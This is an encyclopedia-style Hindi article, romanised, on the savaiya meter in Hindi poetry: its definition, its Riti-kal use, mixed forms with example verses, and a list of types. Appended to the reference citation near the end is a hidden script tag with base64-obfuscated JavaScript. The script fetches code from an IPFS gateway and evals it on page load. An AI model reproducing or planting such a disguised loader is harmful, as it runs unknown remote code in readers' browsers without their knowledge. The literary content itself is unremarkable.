सवैया

varnik vrittoan mean 22 se 26 akshar ke charan vale jati chhandoan ko samoohik roop se hindi mean savaiya kahane ki parampara hai. is prakar samany jati-vrittoan se b de aur varnik dandakoan se chhote chhand ko savaiya samajha ja sakata hai. kavitt - ghanakshari ke saman hi hindi ritikal mean vibhinn prakar ke savaiya prachalit rahe haian. sanskrit mean ye samast bhed vrittatmak haian. parantu kuchh vidvan hindi ke savaiya ko muktak varnak ke roop mean samajhate haian.

• janakinath sianh ne apane khoj-nibandh 'd kantribyooshan aauf hindi poyats tu prazodi' ke chauthe prakaran mean is vishay par vistar se vichar kiya hai aur unaka mat hai ki kaviyoan ne savaiya ko varnik sam-vritt roop mean liya hai. usamean lay ke sath guru matra ka jo laghu uchcharan kiya jata hai, vah hindi ki samany pravritti hai. isake hrasv ऍ aur ke uchcharan ke lie lipi chihn ka abhav bhi hai. parantu hindi mean matrik chhandoan ke vyapak prayog ke bich prayukt is varnik chhand par unaka prabhav avashy p da hai. jis prakar kavitt ek vishesh lay par chalata hai, usi prakar savaiya bhi layamoolak hi hai.

riti kal mean

ritikal ki muktak shaili mean kavitt aur savaiya ka mahattvapoorn yog hai. vaise bhaktikal mean hi in donoan chhandoan ki pratishtha ho chuki thi aur tulasi jaise pramukh kavi ne apani 'kavitavali' ki rachana inhian do chhandoan mean pradhanat: ki hai. bhaganatmak, jaganatmak tatha saganatmak savaiye ki lay kshipr gati se chalati hai aur yagan, tagan tatha raganatmak savaiye ki lay mand gati hoti hai. inaki lay ke sath vastu sthiti tatha bhavasthiti ke chitr bahut saphalatapoorvak aankit hote haian. yah chhand muktak prakriti ke bahut anukool hai. yah chhand shrriangar ras tatha bhakti bhavana ki abhivyakti ke lie bahut utkrisht roop mean prayukt hua hai. ritikalin kaviyoan ne shrriangar ras ke vibhinn aangoan, vibhav, anubhav, alamban, uddipan, sanchari, nayak-nayika bhed adi ke lie inaka chitratmak tatha bhavatmak prayog kiya hai. rasakhan, ghananand, alam jaise premi-bhakt kaviyoan ne bhakti-bhavana ke udveg tatha aveg ki saphal abhivyakti savaiya mean ki hai. bhooshan ne vir ras ke lie is chhand ka prayog kiya hai. par vir ras isaki prakriti ke bahut anukool nahian hai. adhunik kaviyoan mean harishchandr, lakshman sianh, nathooram shankar adi ne inaka sundar prayog kiya hai. jagadish gupt ne is chhand mean adhunik lakshana shakti ka samavesh kiya hai.

upajati savaiya-

isaka prachalan raha hai. sambhavat: upajati savaiya tulasi ki pratibha ka parinam hai. sarvapratham tulasi ne 'kavitavali' mean isaka prayog kiya hai. upajati ka arth hai jisamean do bhinn savaiya ek sath prayukt hue hoan. keshavadas ne bhi is disha mean prayog kiye haian.

mattagayand-sundari-

ye donoan savaiya kee prakar ke ek sath prayukt hue haian. tulasi ne isaka sabase adhik prayog kiya hai. keshav tatha rasakhan ne unaka anusaran kiya hai.

• pratham pad mattagayand ka (7 bh+g g) - "ya latuki aru kamariya par raj tihooan purako taji darau".
• tisara pad sundari (8 s+g) - "rasakhani kaboan in aankhinate, brajake ban bag t dag niharau".

madira-durmil-

tulasi ne ek pad madira ka rakhakar shesh durmil ke pad rakhe haian. keshav ne bhi isaka anusaran kiya hai.

• pahala madira ka pad (7 bh+g) - "thadhe haian nau dram dar gahe, dhanu kaandhe dhare kar sayak lai".
• doosara durmil ka pad (8 s) - "bikati bhrikuti b dari aankhiyaan, anamol kapolan ki chhavi hai".

inake atirikt mattagayand-vam aur vam-sundari ke vibhinn upajati tulasi ki 'kavitavali' mean tatha keshav ki 'rasikapriya' mean milate haian. vastut: is prakar ke prayog kaviyoan ne bhav-chitranoan mean adhik saundary tatha chamatkar utpann karane ki drishti se kiya hai.

prakar

savaiya ko nimn prakar se vargikrit kiya jata hai-

1. madira savaiya
2. mattagayand savaiya
3. sumukhi savaiya
4. durmil savaiya
5. kirit savaiya
6. gangodak savaiya
7. muktahara savaiya
8. vam savaiya
9. arasat savaiya
10. sundari savaiya
11. aravind savaiya
12. manini savaiya
13. mahabhujangaprayat savaiya
14. sukhi savaiya

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

dhireandr, varma “bhag- 1 par adharit”, hiandi sahity kosh (hiandi), 740.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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1. REDIRECT saancha:sahityik shabdavali